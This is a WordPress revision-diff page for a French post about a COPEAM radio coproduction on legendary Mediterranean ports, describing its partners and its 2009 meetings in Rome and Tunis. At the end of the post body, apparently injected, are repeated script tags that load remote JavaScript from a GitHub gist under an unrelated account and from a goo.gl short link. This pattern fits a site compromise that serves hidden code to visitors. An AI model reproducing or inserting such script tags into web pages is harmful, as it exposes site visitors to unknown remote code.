Coproduction radio: “Les ports mythiques de la Méditerranée”

You are viewing an old revision of this post, from November 30, 2009 @ 12:26:45. See below for differences between this version and the current revision.

En 2009, deux étapes ont marqué la finalisation de cette coproduction, réalisée par 11 partenaires (les radios publiques nationales d’Algérie, Croatie, Egypte, Espagne, France, Grèce, Italie, Maroc, Roumanie, Tunisie, Turquie): la rencontre qui s’est tenue à Rome, sur l’invitation de la RAI, le 19 janvier, sous la Présidence de M. Robert Kudelka (Directeur de France Bleu Frequenza Mora), et un atelier de réalisation qui a été accueilli par la Radio Tunisienne les 16 et 17 mars. Ce dernier a permis aux participants d’expérimenter une approche multiculturelle aux différentes techniques de réalisation et de mixage dans le cadre de la coproduction.

Changes:

November 30, 2009 @ 12:26:45	Current Revision
Title
Les réncontres		Coproduction radio: "Les ports mythiques de la Méditerranée"

+<div align="justify">
+ La réunion de la Commission Radio de la COPEAM du 27 octobre 2006 à Porto Vecchio (France) a marqué une étape fondatrice par le lancement de la première coproduction radio méditerranéenne, consacrée au thème « Portraits de footballeurs de légende ».<br />
+ A présent, une deuxième série dédiée aux « Ports mythiques de la Méditerranée »va bientôt se couronner.<br />
+ <br />
+ Pilotées par France Bleu Frequenza Mora et basées sur le principe du panier - selon lequel chaque radio réalise ses propres épisodes et reçoit en échange la série complète réalisée par tous les autres partenaires - ces coproductions sont le résultat d’échanges constants, de rencontres et de synergies mises en place par les professionnels impliqués.<br />
+ Tout en visant principalement à encourager la coopération au sein de la Région euro-méditerranéenne dans le domaine de la radio - média essentiel notamment dans certaines régions du Sud - l’objectif de ces coproductions consiste à accroître la compréhension et la connaissance réciproque entre les différents pays et peuples de l’espace méditerranéen et à faire croiser les différentes sensibilités, les savoir-faire et les techniques des professionnels de l’audiovisuel, tout en préservant les spécificités de chacun.<br />
+ <br />
+ <strong><span style="text-decoration: underline;">La seconde coproduction : «Les ports mythiques de la Méditerranée»< /span></strong><br />
+ <br />
+ Forte de l’expérience de la première coproduction, la Commission Radio de la COPEAM réunie à Tunis en février 2008, puis à Bucarest en mai 2008, a lancée avec enthousiasme la deuxième série sur le thème «Les ports mythiques de la Méditerranée». La coproduction est toujours sous la production exécutive de France Bleu Frequenza Mora et, cette fois-ci, avec les contributions finacières de la Radio Tunisienne, RAI International et la Radio Algérienne.<br />
+ <br />
+ Cette deuxième étape est fondamentale pour atteindre les objectifs fixés, soit le renforcement et la croissance de la coopération radiophonique au sein la Région Euromed. Les ports mythiques méditerranéens, lieux de passage, de partage, d’échange, de récits, de dialogue interculturel, lieux qui relient l’ensemble des pays méditerranéens depuis des siècles, ont été choisis comme thème guide pour leur capacité à raconter leurs histoires, leur histoire.<br />
+ <br />
+ Les participations ont été en grande partie recueillies durant l’automne 2008 – 12 partenaires ont déjà confirmé leur concours à la réalisation - les enregistrements ont été également initiés durant la même période et certains épisodes ont été achevés.</div>
-<p align="justify">En 2009, deux &eacute;tapes ont marqu&eacute; la finalisation de cette coproduction, r&eacute;alis&eacute;e par 11 partenaires (les radios publiques nationales d&rsquo;Alg&eacute;rie, Croatie, Egypte, Espagne, France, Gr&egrave;ce, Italie, Maroc, Roumanie, Tunisie, Turquie): la rencontre qui s&rsquo;est tenue &agrave; Rome, sur l&rsquo;invitation de la RAI, le 19 janvier, sous la Pr&eacute;sidence de M. Robert Kudelka (Directeur de France Bleu Frequenza Mora), et un atelier de r&eacute;alisation qui a &eacute;t&eacute; accueilli par la Radio Tunisienne les 16 et 17 mars. Ce dernier a permis aux participants d&rsquo;exp&eacute;rimenter une approche multiculturelle aux diff&eacute;rentes techniques de r&eacute;alisation et de mixage dans le cadre de la coproduction.<br />
+<div class="follow_ up"></div><p align="justify">En 2009, deux étapes ont marqué la finalisation de cette coproduction, réalisée par 11 partenaires (les radios publiques nationales d’Algérie, Croatie, Egypte, Espagne, France, Grèce, Italie, Maroc, Roumanie, Tunisie, Turquie): la rencontre qui s’est tenue à Rome, sur l’invitation de la RAI, le 19 janvier, sous la Présidence de M. Robert Kudelka (Directeur de France Bleu Frequenza Mora), et un atelier de réalisation qui a été accueilli par la Radio Tunisienne les 16 et 17 mars. Ce dernier a permis aux participants d’expérimenter une approche multiculturelle aux différentes techniques de réalisation et de mixage dans le cadre de la coproduction.<br />
 <br />
 </p> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script>

Note: Spaces may be added to comparison text to allow better line wrapping.